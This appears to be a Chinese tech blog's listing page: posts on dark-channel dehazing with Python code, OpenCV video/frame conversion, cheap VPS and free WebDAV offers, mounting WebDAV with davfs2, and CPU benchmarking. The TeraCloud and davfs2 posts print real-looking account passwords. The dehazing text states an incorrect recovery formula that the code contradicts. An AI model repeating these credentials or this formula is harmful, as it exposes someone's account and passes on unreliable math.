cv2.waitKey(50)&0xFF==ord("q"): break # 释放资源 capture.release() cv2.destroyAllWindows()参考资料《O. Barnich and M. Van Droogenbroeck. ViBe: a powerful random technique to estimate the background in video sequences.》ViBe背景建模算法ViBe:基于Python实现的加速版(2019.10)背景提取算法——帧间差分法、背景差分法、ViBe算法、ViBe+算法
2021年12月07日
1,319 阅读
0 评论
0 点赞
2021-12-07
CCF推荐学术刊物目录-人工智能
0.完整版pdf中国计算机学会推荐国际学术会议和期刊目录-2019中国计算机学会(CCF)推荐中文科技期刊目录-20191.国际期刊A类B类C类2.国际会议A类B类C类3.中文A类B类C类参考资料中国计算机学会推荐中文科技期刊目录(人工智能)中国计算机学会推荐国际学术刊物(人工智能)
2021年12月07日
758 阅读
0 评论
0 点赞
2021-12-07
便宜的VPS/云服务器推荐
1C2G5M指的是:1核CPU,2G内存,5M带宽1.国内服务器腾讯云双十一,1C2G6M,58元/年 (约4.8元/月);2C4G8M,70元/年(约5.8元/月),198元/3年(约5.5元/月)。阿里云双十一: 2核2G 5M,60元/年(约5元/月);2核4G 5M,200元/3年(约5.5元/月)。UCloud双十一: 1核2G,128元/3年(约3.6元/月);2核4G,323元/3年(约8.9元/月)。阿里云学生机,1C2G5M,9.5元/月,阿里云ECS/轻量应用云。 24岁以下免学生认证。阿里云小站,2C2G5M,60元/年(约5元/月)。阿里云轻量应用服务器,香港/新加坡2C2G30M,408元/年(约34元/月);国内2C2G5M,60元/年。腾讯云学生机,1C2G6M,108元/年,只有三次续费机会建议直接买一年。腾讯云每日秒杀,1核2G6M,99元/年(约8元/月),297元/3年。华为云,学生机1C1G1M,9元,24岁以下免学生认证;。2.国外服务器2.1 FranTech访问地址:https://my.frantech.ca/cart.php配置1GB DDR4 RAM1 CPU Core @ 3.9Ghz+20GB NVME Storage1 IPv4 + /48 IPv61000Mbit Unmetered BW价格:$3.50/月流量限制:无2.2 vultr访问地址:https://www.vultr.com/products/cloud-compute/配置1 CPU1 GB Memory1 TB Bandwidth1 IPv4 + /64 IPv6 Address价格:$5/月$0.007/小时流量限制:1T2.3 spartanhost(经常缺货)访问地址:https://spartanhost.org/vps配置512MB Memory25GB Disk Space1500GB Transfer @ 1Gb/s1 vCore Processor1 IPv4 + /64 IPv6 Address价格:$3/月流量限制:1T参考资料高性价比和便宜的VPS/云服务器推荐 2021/11/2更新
2021年12月07日
679 阅读
0 评论
0 点赞
2021-12-06
免费的webdav资源汇总-可用于vps硬盘扩容
厂家/提供方官网地址免费容量Webdav挂载地址Teracloudhttps://teracloud.jp/10G/20G(填邀请码XYPB6)https://seto.teracloud.jp/dav/4sharedhttp://www.4shared.com/15Ghttps://webdav.4shared.comBoxhttps://www.box.com/10Ghttps://dav.box.com/davDriveHQhttps://www.drivehq.com/5Ghttp://www.drivehq.com/webdav/XXXXXXiDriveSynchttps://www.idrivesync.com/5Ghttps://dav.idrivesync.com/zotero坚果云https://www.jianguoyun.com/流量限制https://dav.jianguoyun.com/dav/参考资料2020年还有哪些支持WebDAV的网盘?
2021年12月06日
1,020 阅读
0 评论
0 点赞
2021-12-06
暗通道先验去雾原理及实现
1.原理介绍1.1 大气散射模型为了表示雾对图像成像的影响,研究者提出了一个物理模型--大气散射模型,用其来表示雾霾等恶劣天气条件对图像造成的影响。该模型由McCartney首先提出,目前已经成为计算机视觉领域中朦胧图像生成过程的经典描述,该模型的数学表达式如下:$$ I(x)=J(x)t(x)+A(1-t(x)) $$其中:$I(x)$、$J(x)$分别表示有雾图像和对应的的无雾清晰图像,$A$表示全球大气光,$t(x)$是透射矩阵,描述的是光通过传输介质后没有被散射的部分,$t(x)$的数学表达式为:(其中,β指的是光的散射系数,d(x)指的是目标与摄象机之间的距离。)$$ t(x)=e^{-\beta d(x)} $$$J(x)t(x)$叫做直接衰减项,描述的是正常的清晰图像在透射媒介后发生衰减后保留下来的部分。可以看出,清晰图像会随着成像设备与物体的距离即$d(x)$的增加发生指数性衰减。$A(1-t(x))$部分称为大气遮罩层,表示的是全局大气光对成像的影响。因此,根据大气散射模型可知,要想恢复出清晰图像,需要解决两个问题:(1)准确的对全局大气光A进行估计求解,(2)准确的对透射矩阵t(x)进行求解。由上面的大气散射模型我们可以很容易得出除雾公式如下:$$ J(x)=\frac{I(x)-A(1-t(x))}{t(x)}=\frac{I(x)+t(x)}{t(x)}+A $$1.2 暗通道先验理论介绍暗通道先验理论为何凯明博士2009年在CVPR(IEEE Conference On Computer Version and Pattern Recogintion/IEEE计算视觉和模式识别会议)上所提出。该理论基于对大量无雾的户外图像的观察和统计,得出了大部分的户外无雾图像的每个局部区域都存在至少一个颜色通道的强度值很低,换言之,这个区域的各个像素点的颜色通道强度的最小值是个很小的数,其值约等于0,即在其暗通道图中表现为黑色。何凯明博士在其发表的暗通道先验除雾的论文中提出,对于任意的输入图像J,其暗通道Jdark可以用数学公式表达如下所示:$$ J^{dark}(x)=\min_{c\in{r,g,b}}[\min_{y\in{\Omega(x)}}(J^c(y))] $$式中$Ω(x)$则是一个正方形区域,该区域的中心是像素$x$,$J^c(x)$代表图像$J$的在某像素点的颜色强度。由公式可知,暗通道实际上图像的最小灰度图经过最小值滤波得到的。分别对无雾图像和有雾图像进行暗通道图的求解效果如图所示:1.3通过暗通道先验对大气光A和透射率t(x)进行估计由大气散射模型可知,若要对图像进行除雾,等价于现在的已经知道的$I(x)$,要求解出$J(x)$,显然这个方程有无数个解。因此就需要用到暗通道先验理论对透射率$t(x)$和大气光$A$进行估计了。首先完成的是对大气光$A$的估计,根据对何凯明博士发表的论文的理解,本文对大气光求解的具体步骤如下:将暗通道图和原图转化为[图片像素数量*通道数]的向量。求出暗通道图对于的向量中亮度前1/1000的向量索引。根据索引在原图转化得到的向量中寻找具有最高亮度的点的值,这就是A的估计值了。在完成大气$A$的求解后,便可以对$t(x)$的求解进行推导了。参考相关资料对$t(x)$的求解过程进行推导如下:首先将大气散射模型稍作变形得到如下式子:$$ \frac{I^c(x)}{A^c}=t(x)\frac{J^c(x)}{A^c}+1-t(x) $$为了对$t(x)$进行求解,先假设在每一个窗口内透射率$t(x)$为常数$\hat t(x)$,因为上面已经得到了$A$的估计值,所以在这里只需将$A$当做一个常量即可,对上式两边进行两次最小值运算,可以得到下式(i):$$ \min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{I^c(x)}{A^c})) =\hat t(x)\min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) +1-\hat t(x) $$根据暗通道先验理论有:$$ J^{dark}(x)=min_{c\in{r,g,b}}[min_{y\in{\Omega(x)}}(J^c(y))] =0 $$因此,可以得出:$$ \min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) =0 $$代入式(i)可得式(ii):$$ \hat t(x) = 1 - \min_{y \in \Omega(x)}(\min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) $$到这就得到了透射图$t(x)$的估计结果。但是如果直接使用这一结果进行除雾效果有时产生的结果并不理想。因为空中总是会存在某些漂浮的小颗粒的,这使得我们看远处的东西会或多或少的受到雾的影响,此外,雾的存在还能让人更好的感受到物体的远近,因此,在去雾时需要考虑对一部分的雾进行保留。对雾的保留可以通过在式(ii)中引入一个在[0,1]之间的因子来实现,变化后得到的新的公式如下所示:$$ \hat t(x) = 1 - \omega\min_{y \in \Omega(x)}(min_{c \in \{r,g,b\}}(\frac{J^c(x)}{A^c})) $$根据何凯明博士的论文及进行了几次测试,最终本文选定的$\omega$的值为0.95。本文对复现实验中对$t(x)$进行求解过程及效果图如下图所示:1.4 根据大气光A和透射率t(x)的估计结果进行图像去雾到这里,我们就可以根据雾天图片退化模型进行清晰图像的恢复了。又因为当像素点x对应的透射图的$t(x)$很小时,会导致根据公式$$ J(x)=\frac{I(x)+t(x)}{t(x)}+A $$求解出的$J(x)$的值偏大,从而导致最终的得到的图片某些地方过曝,所以需要对其进行限制,本文选择限制的最大取值为$t_0=0.1$。从而的到最终使用的图像去雾公式为:$$ J(x)=\frac{I(x)+t(x)}{max(t(x),t_0)}+A $$2.代码实现2.0绘图辅助函数import matplotlib.pyplot as plt #显示单个图 def show_img_by_plt(img,title): plt.figure(figsize=(20,10)) #初始化画布 plt.axis('off') # 关掉坐标轴 plt.imshow(img) #显示图片 plt.title(title,y=-0.1) # 设置图像title plt.show() #show #通过subplot同时显示2个图 def show_double_img_by_subplot(img1,title1,img2,title2): plt.figure(figsize=(20,10)) #初始化画布 #第1个位置创建一个小图 plt.subplot(1,2,1)#表示将整个图像窗口分为1行2列, 当前位置为1 plt.axis('off') # 关掉坐标轴 plt.title(title1,y=-0.1) plt.imshow(img1) #第2个位置创建一个小图 plt.subplot(1,2,2)#表示将整个图像窗口分为1行2列, 当前位置为2 plt.axis('off') # 关掉坐标轴 plt.title(title2,y=-0.1) plt.imshow(img2) plt.show() #show #通过subplot同时显示2个图 #同时显示三个图 def show_three_img_by_subplot(img1,title1,img2,title2,img3,title3): plt.figure(figsize=(16,8)) #初始化画布 #第1个位置创建一个小图 plt.subplot(1,3,1)#表示将整个图像窗口分为1行2列, 当前位置为1 plt.axis('off') # 关掉坐标轴 plt.title(title1,y=-0.1) plt.imshow(img1) #第2个位置创建一个小图 plt.subplot(1,3,2)#表示将整个图像窗口分为1行2列, 当前位置为2 plt.axis('off') # 关掉坐标轴 plt.title(title2,y=-0.1) plt.imshow(img2) #第3个位置创建一个小图 plt.subplot(1,3,3)#表示将整个图像窗口分为1行2列, 当前位置为2 plt.axis('off') # 关掉坐标轴 plt.title(title3,y=-0.1) plt.imshow(img3) plt.show() #show2.1 获取图片暗通道图# 核心函数 #暗通道实际上是在rgb三个通道中取最小值组成灰度图,然后再进行一个最小值滤波得到的。 def get_dark_channel_img(original_img, r=15): #原图rgb三个通道中取最小值组成灰度图 temp_img = np.min(original_img,2) #再进行一个最小值滤波 #最小值滤波用腐蚀来替代了,其实腐蚀就是最小值滤波,最大值滤波是膨胀 kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (r,r)) """ cv2.getStructuringElement( ) 返回指定形状和尺寸的结构元素。 这个函数的第一个参数表示内核的形状,有三种形状可以选择。 矩形:MORPH_RECT; 交叉形:MORPH_CROSS; 椭圆形:MORPH_ELLIPSE; (r,r)表示kernel的size """ dst_img = cv2.erode(temp_img, kernel) """ dst = cv.dilate(temp_img, kerne) 对图片进行腐蚀 参数说明: dst_img 输出与输入相同大小和类型的图像. kernel 用于侵蚀的结构元素可以使用getStructuringElement来创建结构元素。 """ return dst_img #返回最终暗通道图#调用测试 import imageio import numpy as np import cv2 img_src="./image/get_dark_channel_img_clear.jpg" original_img = imageio.imread(img_src) dark_channel_img=get_dark_channel_img(original_img) show_double_img_by_subplot(original_img,"original_img",dark_channel_img,"dark_channel_img")2.2根据暗通道图和原图估计大气光#核心函数 """ 1.从暗通道图按照亮度的大小取前0.1%的像素。 2.在这些位置中,在原始有雾图像I中寻找对应的具有最高亮度的点的值,作为A值。 """ def estimate_A(original_img,dark_channel_img): #计算图片的像素总数 img_h,img_w,img_c_num = original_img.shape img_size = img_h*img_w #计算暗通道图的像素值较大的0.1%的像素的数量 num_px = int(max(math.floor(img_size/1000),1)) #将暗通道图变为列向量 dark_vec = dark_channel_img.reshape(img_size,1); #将图片变为列向量 img_vec = original_img.reshape(img_size,3); #将暗通道图对应的列向量进行排序并返回从小到大的数组索引--argsort函数返回的是数组值从小到大的索引值 indices = np.argsort(dark_vec, axis=0) #取暗通道图像素较大的0.1%的像素的索引 indices = indices[img_size-num_px::] #将原图对应的 暗通道图的像素值排前0.1% 的像素点的像素值进行求平均 A = np.max(img_vec[indices]) return A#调用测试 import imageio import numpy as np import cv2 import math # img_src=str(input("请输入原图的地址:")) img_src="./image/haze_image.jpg" original_img = imageio.imread(img_src)/255 dark_channel_img=get_dark_channel_img(original_img) A = estimate_A(original_img,dark_channel_img)2.3根据原图和大气光A进行投射图t(x)的估计#核心函数 #根据论文中透射图的估计公式进行书写的 def estimate_transmission(original_img,A, omega = 0.95): min_min_Ic_div_Ac = np.zeros(original_img.shape,"float64"); for index in range(0,3): min_min_Ic_div_Ac[:,:,index] = original_img[:,:,index]/A transmission = 1 - omega*get_dark_channel_img(min_min_Ic_div_Ac); return transmission#调用测试 import imageio import numpy as np import cv2 # img_src=str(input("请输入原图的地址:")) img_src="./image/haze_image.jpg" original_img = imageio.imread(img_src) dark_channel_img=get_dark_channel_img(original_img) A = estimate_A(original_img,dark_channel_img) transmission = estimate_transmission(original_img,A) show_double_img_by_subplot(original_img,"original_img",transmission,"transmission")2.4根据估计好的大气光和透射图进行图片恢复#核心函数 def recover_haze_by_dark_channel_prior(haze_img,t_max = 0.1): dark_channel_img=get_dark_channel_img(haze_img) A = estimate_A(haze_img,dark_channel_img) transmission = estimate_transmission(haze_img,A) clear_img = np.empty(haze_img.shape,haze_img.dtype); for index in range(0,3): clear_img[:,:,index] = (haze_img[:,:,index]-A[index])/cv2.max(transmission,t_max) + A[index] return clear_img#调用测试 import imageio import numpy as np # haze_img_src=str(input("请输入有雾图片的地址:")) haze_img_src="./image/haze_image1.jpg" haze_img = imageio.imread(haze_img_src) clear_img = recover_haze_by_dark_channel_prior(haze_img) show_double_img_by_subplot(haze_img,"haze_img",clear_img,"clear_img") transmission = estimate_transmission(haze_img,A) show_three_img_by_subplot(haze_img,"haze_img",clear_img,"clear_img",transmission,"transmission")3.暗通道先验图片去雾汇总import imageio import numpy as np import cv2 import math def get_dark_channel_img(original_img, r=6): #原图rgb三个通道中取最小值组成灰度图 temp_img = np.min(original_img,2) #再进行一个最小值滤波 #最小值滤波用腐蚀来替代了,其实腐蚀就是最小值滤波,最大值滤波是膨胀 kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (r,r)) dst_img = cv2.erode(temp_img, kernel) return dst_img #返回最终暗通道图 def estimate_A(original_img,dark_channel_img): #计算图片的像素总数 img_h,img_w,img_c_num = original_img.shape img_size = img_h*img_w #计算暗通道图的像素值较大的0.1%的像素的数量 num_px = int(max(math.floor(img_size/1000),1)) #将暗通道图变为列向量 dark_vec = dark_channel_img.reshape(img_size,1); #将图片变为列向量 img_vec = original_img.reshape(img_size,3); #将暗通道图对应的列向量进行排序并返回从小到大的数组索引--argsort函数返回的是数组值从小到大的索引值 indices = np.argsort(dark_vec, axis=0) #取暗通道图像素较大的0.1%的像素的索引 indices = indices[img_size-num_px::] #将原图对应的 暗通道图的像素值排前0.1% 的像素点的像素值进行求平均 atm_sum = np.zeros([1,3]) for index in range(1,num_px): atm_sum = atm_sum + img_vec[indices[index]] A = atm_sum / num_px; return A[0] def estimate_transmission(original_img,A, omega = 0.95): min_min_Ic_div_Ac = np.zeros(original_img.shape,"float64"); for index in range(0,3): min_min_Ic_div_Ac[:,:,index] = original_img[:,:,index]/A[index] transmission = 1 - omega*get_dark_channel_img(min_min_Ic_div_Ac); return transmission def recover_haze_by_dark_channel_prior(haze_img,t_max = 0.1): dark_channel_img=get_dark_channel_img(haze_img) A = estimate_A(haze_img,dark_channel_img) transmission = estimate_transmission(haze_img,A) clear_img = np.empty(haze_img.shape,haze_img.dtype); for index in range(0,3): clear_img[:,:,index] = (haze_img[:,:,index]-A[index])/cv2.max(transmission,t_max) + A[index] return clear_img haze_img_src="./image/haze_image.jpg" haze_img = imageio.imread(haze_img_src) clear_img = recover_haze_by_dark_channel_prior(haze_img) show_double_img_by_subplot(haze_img,"haze_img",clear_img,"clear_img")应用与视频from moviepy.editor import VideoFileClip def process_image(image): return deHaze(image/255.0)*255 output_file = './vedio/clear_dark_channel_short.mp4' test_clip = VideoFileClip("./vedio/haze_short.mp4") new_clip = test_clip.fl_image(process_image) new_clip.write_videofile(output_file, audio=False)参考资料暗通道先验原理——DCP去雾算法He K , Sun J , Fellow, et al. Single Image Haze Removal Using Dark Channel Prior[J]. IEEE Transactions on Pattern Analysis & Machine Intelligence, 2011, 33(12):2341-2353.
2021年12月06日
1,797 阅读
1 评论
0 点赞
2021-12-01
Python通过opencv实现视频和图像互转
1.视频转图片import cv2 import numpy import math cap = cv2.VideoCapture("./帯広空港.mp4") vedio_frame_count = cap.get(7) # 获取视频总帧数 vedio_fps = math.ceil(cap.get(5)) # 获取视频帧率 frame_width = cap.get(3) # 获取视频帧宽度 frame_height = cap.get(4) # 获取视频帧高度 print(vedio_frame_count,vedio_fps) frame_id = 1 while(True): ret, frame = cap.read() if not ret or cv2.waitKey(30)==ord('q'): break; cv2.imshow("frame",frame) frame_id += 1 cap.release() cv2.destroyAllWindows()opencv参数列表0 CV_CAP_PROP_POS_MSEC Current position of the video file in milliseconds or video capture timestamp. 1 CV_CAP_PROP_POS_FRAMES 0-based index of the frame to be decoded/captured next. 2 CV_CAP_PROP_POS_AVI_RATIO Relative position of the video file: 0 - start of the film, 1 - end of the film. 3 CV_CAP_PROP_FRAME_WIDTH #视频帧宽度 4 CV_CAP_PROP_FRAME_HEIGHT #视频帧高度 5 CV_CAP_PROP_FPS #视频帧速率 6 CV_CAP_PROP_FOURCC 4-character code of codec. 7 CV_CAP_PROP_FRAME_COUNT #视频总帧数 8 CV_CAP_PROP_FORMAT Format of the Mat objects returned by retrieve() . 9 CV_CAP_PROP_MODE Backend-specific value indicating the current capture mode. 10 CV_CAP_PROP_BRIGHTNESS Brightness of the image (only for cameras). 11 CV_CAP_PROP_CONTRAST Contrast of the image (only for cameras). 12 CV_CAP_PROP_SATURATION Saturation of the image (only for cameras). 13 CV_CAP_PROP_HUE Hue of the image (only for cameras). 14 CV_CAP_PROP_GAIN Gain of the image (only for cameras). 15 CV_CAP_PROP_EXPOSURE Exposure (only for cameras). 16 CV_CAP_PROP_CONVERT_RGB Boolean flags indicating whether images should be converted to RGB. 17 CV_CAP_PROP_WHITE_BALANCE_U The U value of the whitebalance setting (note: only supported by DC1394 v 2.x backend currently) 18 CV_CAP_PROP_WHITE_BALANCE_V The V value of the whitebalance setting (note: only supported by DC1394 v 2.x backend currently) 19 CV_CAP_PROP_RECTIFICATION Rectification flag for stereo cameras (note: only supported by DC1394 v 2.x backend currently) 20 CV_CAP_PROP_ISO_SPEED The ISO speed of the camera (note: only supported by DC1394 v 2.x backend currently) 21 CV_CAP_PROP_BUFFERSIZE Amount of frames stored in internal buffer memory (note: only supported by DC1394 v 2.x backend currently)2.图片转视频# 图片转视频 import cv2 import os img_dir = "./data_handle/img/" # 必须保证图片是相同大小的,否则会转换失败 img_list = os.listdir(img_dir) frame_rate = 30 # 帧率 frame_shape = cv2.imread(os.path.join(img_dir,img_list[0])).shape[:-1] # 图片大小/帧shape frame_shape = (frame_shape[1],frame_shape[0]) # 交换w和h videoWriter = cv2.VideoWriter('result.mp4', cv2.VideoWriter_fourcc(*'MJPG'), frame_rate, frame_shape) # 初始化视频帧writer # 开始逐帧写入视频帧 frame_id = 1 for img_filename in img_list: img_path = os.path.join(img_dir,img_filename) img = cv2.imread(img_path) videoWriter.write(img) frame_id += 1 if frame_id%100 == 0: break videoWriter.release() 参考资料OpenCV|图片与视频的相互转换(C++&Python)python3 opencv获取视频的总帧数介绍
2021年12月01日
828 阅读
0 评论
0 点赞
2021-11-30
[TeraCloud] 免费获取20GB的WebDAV--vps硬盘扩容
1.注册TeraCLOUD得10GBTeraCloud是一家日本的WebDAV商,目前有活动,你可以免费获得20GB的WebDAV空间,可以说是非常超值了。注册链接:https://account.teracloud.jp/RegistForm.php/index/。注册完成然后就可以登陆进个人中心了,并且获得了10GB的WebDAV空间。2.填写邀请码获取赠送的10GB首先进入个人中心 https://teracloud.jp/ja/modules/mypage/usage/拉到下方“紹介ボーナス情報”。把邀请码XYPB6填进去然后猛戳“コード適用”,邀请方和被邀请方都能获得10GB空间,互利共赢。需要注意的是,如果您使用的是免费帐户,并且连续超过90天未登录,则TeraCLOUD上的帐户和数据将被删除,所以一定要记得每过一段时间就登录一次哦!3.使用web进行文件管理访问地址:https://seto.teracloud.jp/browser/4.开启并使用webdav挂载首先进入个人中心 https://teracloud.jp/ja/modules/mypage/usage/点击Turn on Apps Connection。首次开启会显示webdav的连接密码,注意保存。然后使用对应的信息即可进行webdav的挂载使用。上述结果实例webdav地址:https://seto.teracloud.jp/dav/ username:jupiteradam password:uiVRoXQ9JdrqCykz
2021年11月30日
2,015 阅读
0 评论
0 点赞
2021-11-30
Linux挂载WebDAV
1.webdav介绍基于Web的分布式编写和版本控制(WebDAV)是超文本传输协议(HTTP)的扩展,有利于用户间协同编辑和管理存储在万维网服务器文档。WebDAV由互联网工程任务组的工作组在RFC 4918中定义。WebDAV协议为用户在服务器上创建、更改和移动文档提供了一个框架。WebDAV协议最重要的功能包括维护作者或修改日期的属性、名字空间管理、集合和覆盖保护。维护属性包括创建、删除和查询文件信息等。名字空间管理处理在服务器名称空间内复制和移动网页的能力。集合(Collections)处理各种资源的创建、删除和列举。覆盖保护处理与锁定文件相关的方面。2.软件安装与挂载davfs2安装# Centos & Fedora & RedHat yum -y install davfs2 # 其他的比如Ubuntu之类的 apt-get -y install davfs2安装完davfs2之后执行sed -i 's/# use_locks 1/use_locks 0/g' /etc/davfs2/davfs2.conf echo "你的WebDAV地址 用户名 密码" >> /etc/davfs2/secrets #保存用户名密码,以后可以直接免密码挂载 mount.davfs 你的WebDAV地址 你想要挂载到的目录 #即可成功挂载注意1:挂载目录必须提前创建好!注意2:如果你不执行第二句保存用户名密码,那么你以后挂载的时候都会要求输入用户名密码!示例sed -i 's/# use_locks 1/use_locks 0/g' /etc/davfs2/davfs2.conf echo "https://seto.teracloud.jp/dav/ jupiteradam hrxjKbiszNm9Bi" >> /etc/davfs2/secrets #保存用户名密码,以后可以直接免密码挂载 mount.davfs https://seto.teracloud.jp/dav/ /drive 3. 开机自动挂载如果想要开机自动挂载,则再执行echo "mount.davfs 你的WebDAV地址 你想要挂载到的目录" >> /etc/rc.local执行完此句之后检查一下/etc/rc.local文件,看看是否有exit 0这句。如果有的话,要手动把上面命令添加进去的语句放到exit 0之前。参考资料https://zh.wikipedia.org/wiki/WebDAV如何在各个平台下挂载WebDAV
2021年11月30日
984 阅读
0 评论
0 点赞
2021-11-30
Linux测试CPU 整型算力和浮点数算力
Linux测试CPU 整型算力和浮点数算力1.sysbench:用于测试 CPU 整型算力1.0 介绍SysBench是一个模块化的、跨平台、多线程基准测试工具,主要用于评估测试各种不同系统参数下的数据库负载情况。它主要包括以下几种方式的测试:cpu性能磁盘io性能调度程序性能内存分配及传输速度POSIX线程性能数据库性能(OLTP基准测试)目前sysbench主要支持 MySQL,pgsql,Oracle 这3种数据库。1.1 安装依赖# 安装依赖-centerOS sudo yum install automake libtool gcc -y # 安装依赖-ubuntu sudo apt install automake libtool gcc -y1.2 下载并编译安装# 下载sysbench源码包 wget https://github.com/akopytov/sysbench/archive/1.0.20.tar.gz -O sysbench-1.0.20.tar.gz # 解压 tar -xvf sysbench-1.0.20.tar.gz # 执行autogen.sh cd sysbench-1.0.20 sh autogen.sh # 生成Makefile ./configure --without-mysql # 编译并安装 sudo make && sudo make install # 查看安装结果(版本信息) sysbench --version1.3 调用测试测试 4 线程,20000 内的质数计算能力(base) jupiter@dell:/software/sysbench-1.0.20$ sysbench cpu --cpu-max-prime=20000 --threads=4 --time=60 run # 参数解释 --cpu-max-prime=20000 测试计算素数直到某个最大值(20000)所需要的时间 --threads=4 使用线程数为4 --time=60 重复次数为60次测试结果/Score : 1497.06sysbench 1.0.20 (using bundled LuaJIT 2.1.0-beta2) Running the test with following options: Number of threads: 4 Initializing random number generator from current time Prime numbers limit: 20000 Initializing worker threads... Threads started! CPU speed: events per second: 1497.06 General statistics: total time: 60.0026s total number of events: 89830 Latency (ms): min: 2.52 avg: 2.67 max: 22.63 95th percentile: 2.76 sum: 239972.33 Threads fairness: events (avg/stddev): 22457.5000/42.39 execution time (avg/stddev): 59.9931/0.002.sysbench:用于测试 CPU 浮点型算力2.1 安装依赖# 安装依赖-centerOS sudo yum install automake libtool gcc -y # 安装依赖-ubuntu sudo apt install automake libtool gcc -y2.2 下载并编译安装# 下载 wget http://soft.vpser.net/test/unixbench/unixbench-5.1.2.tar.gz # 解压 tar zxvf unixbench-5.1.2.tar.gz # 配置如果不需要进行图形测试或者不在图形化界面下测试,则将Makefile文件中GRAPHIC_TEST = defined注释掉 cd unixbench-5.1.2 make # 安装依赖 sudo apt install -y perl # 执行测试 ./Run2.3 测试结果说明测试项目项目说明Dhrystone 2 using register variables测试 string handlingDouble-Precision Whetstone测试浮点数操作的速度和效率Execl Throughput此测试考察每秒钟可以执行的execI系统调用的次数File Copy 1024 bufsize 2000 maxblocks测试从一个文件向另外一个文件传输数据的速率。File Copy 256 bufsize 500 maxblocks测试从一个文件向另外一个文件传输数据的速率。File Read 4096 bufsize 8000 maxblocks测试从一个文件向另外一个文件传输数据的速率。Pipe-based Context Switching测试两个进程(每秒钟)通过一个管道交换一个不断增 长的整数的次数。Pipe Throughput一秒钟内一个进程可以向一个管道写512字节数据然后 再读回的次数Process Creation测试每秒钟一个进程可以创建子进程然后收回子进程的 次数(子进程一定立即退出)。Shell Scripts (8 concurrent)测试一秒钟内一个进程可以并发地开始一个shell脚本 的n个拷贝的次数,n一般取值1,2,4,8.System Call Overhead测试进入和离开操作系统内核的代价,即一次系统调用 的代价。2.4 测试结果简略摘要# 单核双精度浮点算力 Double-Precision Whetstone 5476.7 MWIPS # 4核双精度浮点算力 Double-Precision Whetstone 21621.7 MWIPS详细信息======================================================================== BYTE UNIX Benchmarks (Version 5.1.2) System: dell: GNU/Linux OS: GNU/Linux -- 5.11.0-40-generic -- #44~20.04.2-Ubuntu SMP Tue Oct 26 18:07:44 UTC 2021 Machine: x86_64 (x86_64) Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8") CPU 0: Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz (4599.9 bogomips) Hyper-Threading, x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization CPU 1: Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz (4599.9 bogomips) Hyper-Threading, x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization CPU 2: Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz (4599.9 bogomips) Hyper-Threading, x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization CPU 3: Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz (4599.9 bogomips) Hyper-Threading, x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET, Intel virtualization 19:40:36 up 11 days, 9:27, 3 users, load average: 0.18, 0.34, 0.47; runlevel 5 ------------------------------------------------------------------------ Benchmark Run: 一 11月 29 2021 19:40:36 - 20:08:45 4 CPUs in system; running 1 parallel copy of tests Dhrystone 2 using register variables 35459584.6 lps (10.0 s, 7 samples) Double-Precision Whetstone 5476.7 MWIPS (9.9 s, 7 samples) Execl Throughput 3206.9 lps (29.9 s, 2 samples) File Copy 1024 bufsize 2000 maxblocks 527819.0 KBps (30.0 s, 2 samples) File Copy 256 bufsize 500 maxblocks 137340.3 KBps (30.0 s, 2 samples) File Copy 4096 bufsize 8000 maxblocks 1512668.7 KBps (30.0 s, 2 samples) Pipe Throughput 710906.8 lps (10.0 s, 7 samples) Pipe-based Context Switching 151493.2 lps (10.0 s, 7 samples) Process Creation 6097.0 lps (30.0 s, 2 samples) Shell Scripts (1 concurrent) 6869.6 lpm (60.0 s, 2 samples) Shell Scripts (8 concurrent) 2230.7 lpm (60.0 s, 2 samples) System Call Overhead 400377.9 lps (10.0 s, 7 samples) System Benchmarks Index Values BASELINE RESULT INDEX Dhrystone 2 using register variables 116700.0 35459584.6 3038.5 Double-Precision Whetstone 55.0 5476.7 995.8 Execl Throughput 43.0 3206.9 745.8 File Copy 1024 bufsize 2000 maxblocks 3960.0 527819.0 1332.9 File Copy 256 bufsize 500 maxblocks 1655.0 137340.3 829.9 File Copy 4096 bufsize 8000 maxblocks 5800.0 1512668.7 2608.0 Pipe Throughput 12440.0 710906.8 571.5 Pipe-based Context Switching 4000.0 151493.2 378.7 Process Creation 126.0 6097.0 483.9 Shell Scripts (1 concurrent) 42.4 6869.6 1620.2 Shell Scripts (8 concurrent) 6.0 2230.7 3717.8 System Call Overhead 15000.0 400377.9 266.9 ======== System Benchmarks Index Score 1007.7 ------------------------------------------------------------------------ Benchmark Run: 一 11月 29 2021 20:08:45 - 20:36:59 4 CPUs in system; running 4 parallel copies of tests Dhrystone 2 using register variables 136159740.8 lps (10.0 s, 7 samples) Double-Precision Whetstone 21621.7 MWIPS (9.9 s, 7 samples) Execl Throughput 10934.3 lps (29.9 s, 2 samples) File Copy 1024 bufsize 2000 maxblocks 1144908.0 KBps (30.0 s, 2 samples) File Copy 256 bufsize 500 maxblocks 300291.5 KBps (30.0 s, 2 samples) File Copy 4096 bufsize 8000 maxblocks 3433079.5 KBps (30.0 s, 2 samples) Pipe Throughput 2704214.4 lps (10.0 s, 7 samples) Pipe-based Context Switching 565815.4 lps (10.0 s, 7 samples) Process Creation 31990.1 lps (30.0 s, 2 samples) Shell Scripts (1 concurrent) 17826.7 lpm (60.0 s, 2 samples) Shell Scripts (8 concurrent) 2525.2 lpm (60.1 s, 2 samples) System Call Overhead 1474932.5 lps (10.0 s, 7 samples) System Benchmarks Index Values BASELINE RESULT INDEX Dhrystone 2 using register variables 116700.0 136159740.8 11667.5 Double-Precision Whetstone 55.0 21621.7 3931.2 Execl Throughput 43.0 10934.3 2542.9 File Copy 1024 bufsize 2000 maxblocks 3960.0 1144908.0 2891.2 File Copy 256 bufsize 500 maxblocks 1655.0 